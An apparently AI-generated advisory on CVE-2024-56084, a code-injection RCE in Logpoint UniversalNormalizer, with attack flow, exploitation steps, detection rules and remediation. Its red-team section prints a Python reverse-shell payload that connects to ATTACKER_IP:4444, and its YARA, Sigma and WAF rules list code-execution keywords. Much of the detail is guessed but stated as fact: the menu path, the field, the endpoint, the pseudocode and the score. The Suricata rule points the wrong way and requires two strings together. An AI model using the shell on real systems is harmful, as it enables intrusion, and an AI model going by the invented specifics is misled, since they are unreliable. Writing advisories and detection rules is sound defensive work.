CVE-2024-56084

Executive Summary

CVE-2024-56084 is a critical vulnerability in Logpoint UniversalNormalizer versions prior to 5.7.0. An authenticated attacker can inject arbitrary payloads during the creation of a Universal Normalizer, leading to Remote Code Execution (RCE). This flaw allows a low-privileged user to execute arbitrary commands on the underlying server, potentially compromising the entire Logpoint deployment. The vulnerability is classified under CWE-94 (Improper Control of Generation of Code - Code Injection). No public exploit code or proof-of-concept is currently available, but the risk is high due to the potential for full system compromise.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a product-level issue in Logpoint's proprietary software.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the description (authenticated RCE), the estimated CVSS v3.1 vector would be: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H with a base score of 8.8 (High).

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An authenticated user is needed.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The vulnerable component is the only one affected.
• Confidentiality (C): High – Full data access possible.
• Integrity (I): High – Full system modification possible.
• Availability (A): High – Full system disruption possible.

Threat Level: Critical. The combination of low privileges required and high impact makes this a high-priority vulnerability for any organization using Logpoint.

Deep Dive & Mechanics

The vulnerability resides in the UniversalNormalizer component of Logpoint. Universal Normalizers are used to parse and normalize log data from various sources. The flaw is in the input validation of the normalizer creation process. An authenticated user can inject arbitrary code (e.g., JavaScript, Python, or shell commands) into fields that are later executed by the Logpoint backend.

Root Cause: The application fails to sanitize user-supplied input when defining the normalizer logic. This input is then passed to an interpreter (likely a scripting engine) without proper escaping or validation, allowing for code injection.

Attack Flow:

1. An attacker authenticates to the Logpoint web interface.
2. The attacker navigates to the UniversalNormalizer creation page.
3. The attacker injects a malicious payload into a field (e.g., a transformation rule or regex pattern).
4. The payload is stored and executed when the normalizer is applied to incoming logs.
5. The attacker achieves Remote Code Execution on the Logpoint server.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-5.7.0): The vulnerable code likely uses a function like eval() or exec() on user input without sanitization. Example (pseudocode):

def create_normalizer(user_input):
    # Vulnerable: directly executing user input
    exec(user_input)

Patched Code (5.7.0+): The patched version sanitizes input and uses safe parsing methods. Example (pseudocode):

def create_normalizer(user_input):
    # Patched: using safe parsing and input validation
    safe_input = sanitize(user_input)
    parse_safely(safe_input)

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a Logpoint instance with version < 5.7.0.
• Valid credentials for an authenticated user.

Exploitation Steps:

1. Log in to the Logpoint web interface.
2. Navigate to Administration > Universal Normalizer.
3. Click Create New Normalizer.
4. In the Transformation Rule field, inject a payload. For example, to execute a reverse shell:

   import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
   

5. Save the normalizer.
6. Trigger the normalizer by sending a log that matches its pattern.
7. Receive the reverse shell on your listener.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Detection & Mitigation)

Detection:

• Monitor for unusual normalizer creation events in Logpoint audit logs.
• Look for payloads containing system commands, network connections, or file operations in normalizer fields.
• Use the YARA and Sigma rules provided below.

Mitigation:

• Immediately upgrade to Logpoint UniversalNormalizer version 5.7.0 or later.
• Restrict normalizer creation privileges to trusted administrators only.
• Implement network segmentation to limit the blast radius.

Indicators of Compromise (IOCs)

• File System: Unexpected files in /tmp/, /var/log/, or Logpoint installation directories.
• Network: Outbound connections to unknown IPs on high ports (e.g., 4444, 8080).
• Process: Unusual processes spawned by the Logpoint service (e.g., /bin/sh, python, bash).
• Logs: Audit logs showing creation of normalizers with suspicious patterns (e.g., exec, eval, socket).

Detection Engineering

YARA Rule

rule CVE_2024_56084_Logpoint_RCE {
    meta:
        description = "Detects payloads used in CVE-2024-56084 Logpoint UniversalNormalizer RCE"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56084"
    strings:
        $s1 = "exec(" ascii nocase
        $s2 = "eval(" ascii nocase
        $s3 = "socket" ascii nocase
        $s4 = "subprocess" ascii nocase
        $s5 = "os.system" ascii nocase
        $s6 = "os.popen" ascii nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: Logpoint UniversalNormalizer RCE Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-56084 by injecting code into UniversalNormalizer fields.
author: Valters IT
date: 2025-04-10
logsource:
    product: logpoint
    service: audit
detection:
    selection:
        EventID: 1001  # Example: Normalizer creation event
        Payload|contains:
            - 'exec('
            - 'eval('
            - 'socket'
            - 'subprocess'
            - 'os.system'
    condition: selection
falsepositives:
    - Legitimate use of advanced normalizer features (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56084 Logpoint UniversalNormalizer RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/normalizer"; http_uri; content:"exec("; nocase; content:"eval("; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Logpoint UniversalNormalizer to version 5.7.0 or later.
2. Access Control: Restrict normalizer creation to a limited set of trusted administrators.
3. Input Validation: If patching is not immediately possible, implement a WAF rule to block payloads containing exec(, eval(, socket, subprocess, os.system, etc.

Long-Term Measures:

• Conduct a security audit of all custom normalizers.
• Implement the principle of least privilege for all Logpoint users.
• Enable detailed audit logging and monitor for suspicious normalizer activity.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.